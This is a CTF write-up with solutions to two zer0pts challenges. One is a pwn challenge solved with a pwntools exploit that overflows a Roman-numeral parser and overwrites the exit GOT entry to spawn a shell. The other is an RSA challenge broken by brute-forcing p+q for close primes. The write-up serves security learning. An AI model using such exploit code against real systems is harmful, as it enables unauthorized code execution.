For this CTF, I managed to solve two challenges only. I hope I can do better in the next CTF.
Pwn
Modern-Rome
We were given a binary compiled from cpp file. Below is the cpp file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
#include <string>
#include <iostream>
short buf[10];
void win() {
std::system("/bin/sh");
}
short readroman(){
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c: "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
res += b * cnt;
b *= 10;
}
return res;
}
int main() {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
std::cout << "ind: ";
int ind = readroman();
std::cout << "val: ";
int val = readroman();
std::cout << "buf[" << ind << "] = " << val << std::endl;
buf[ind] = val;
std::exit(0);
}
|
Checksec result
1
2
3
4
5
|
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
From the given file, some notes that we can take:
- No PIE, so we don’t need to look for the base address of the binary.
- There is
win
function, which clearly our goal is to call this function.
buf
is array of short
(2 bytes), which is located in the .data
segment (precisely at 0x404340
).
- The program is receiving a roman number, which will convert it to integer.
- We can set
buf[index] = value
, where we control the index
and value
.
- There isn’t boundary check for the index
At a glance, seems like there isn’t anything wrong with the code. But there is a subtle bug on there. See the roman conversion method below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
short readroman(){
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c: "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
res += b * cnt;
b *= 10;
}
return res;
}
|
The first idea is of course to overflow the res
variable. In order to do that, we need to be able to send Roman value larger than $32767$. However, it seems like impossible to do that, because seems like the maximum value that can be returned by the readroman
function is $9999$.
In C, string is ended with \0
, which mean during iterating string “IXCM” with auto, \0
will be iterated also, henc the maximum value that can be returned by the method is not $9999$, but $99999$, which is enough to overflow the res
variable.
My solution is to overwrite the GOT value of exit
by win
address. The exit GOT location is at 0x404058
, which mean to overwrite it, we will need to assign the win
address value to buf[(0x404340 - 0x404058) // 2]
(Need to divide it by $2$ because buf is array of short
type element). Also another note is that, we only need to overwrite the last two-bytes of the exit
GOT value (because the third lsb is already the same, which is 0x40
)
Below is the solver:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
from pwn import p64, u64, p32, u32
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
offset = b'\x00'*6+b'M'*5+b'C'*1+b'X'*6+b'I'*4
win = b'M'*4+b'C'*8+b'X'*5+b'I'*4
r = remote('pwn1.ctf.zer0pts.com', 9000)
r.sendlineafter(b'ind: ', offset)
r.sendlineafter(b'val: ', win)
r.interactive()
|
Flag: zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}
Crypto
Anti-Fermat
Below is the source code of the chall:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from Crypto.Util.number import isPrime, getStrongPrime
from gmpy import next_prime
from secret import flag
# Anti-Fermat Key Generation
p = getStrongPrime(1024)
q = next_prime(p ^ ((1<<1024)-1))
n = p * q
e = 65537
# Encryption
m = int.from_bytes(flag, 'big')
assert m < n
c = pow(m, e, n)
print('n = {}'.format(hex(n)))
print('c = {}'.format(hex(c)))
|
Through observations, we can see that $p+q$ value is actually bruteforce-able. If we see on how $q$ is generated, $q$ is basically we flip $p$ bits and increase it until it is a prime. So,
$$
p + q = (1 « 1024) + x
$$
where $x$ is small. Notes that we can get the $\varphi(n)$ value if we know $p+q$. See below equation:
$$
\begin{align}
\varphi(n) &= (p-1)*(q-1)\\
&= pq - (p+q) + 1\\
\end{align}
$$
To solve this chall, we just need to bruteforce $p+q$ based on first equation, and then try to decrypt the $c$ with the calculated $\varphi(n)$. Below is my solver (I use sagemath).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from Crypto.Util.number import *
e = 65537
n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751
c = 0x60160bfed79384048d0d46b807322e65c037fa90fac9fd08b512a3931b6dca2a745443a9b90de2fa47aaf8a250287e34563e6b1a6761dc0ccb99cb9d67ae1c9f49699651eafb71a74b097fc0def77cf287010f1e7bd614dccfb411cdccbb84c60830e515c05481769bd95e656d839337d430db66abcd3a869c6348616b78d06eb903f8abd121c851696bd4cb2a1a40a07eea17c4e33c6a1beafb79d881d595472ab6ce3c61d6d62c4ef6fa8903149435c844a3fab9286d212da72b2548f087e37105f4657d5a946afd12b1822ceb99c3b407bb40e21163c1466d116d67c16a2a3a79e5cc9d1f6a1054d6be6731e3cd19abbd9e9b23309f87bfe51a822410a62
base = 1<<1024
# Bruteforce p+q value
for i in range(0, 10000000, 1):
print(f'Curr x: {i}')
phi = n - (base+i) + 1
d = inverse_mod(e, phi)
flag = long_to_bytes(int(pow(c, d, n)))
if b'pts' in flag:
print(f'Flag: {flag.decode()}')
exit()
|
Flag: zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d}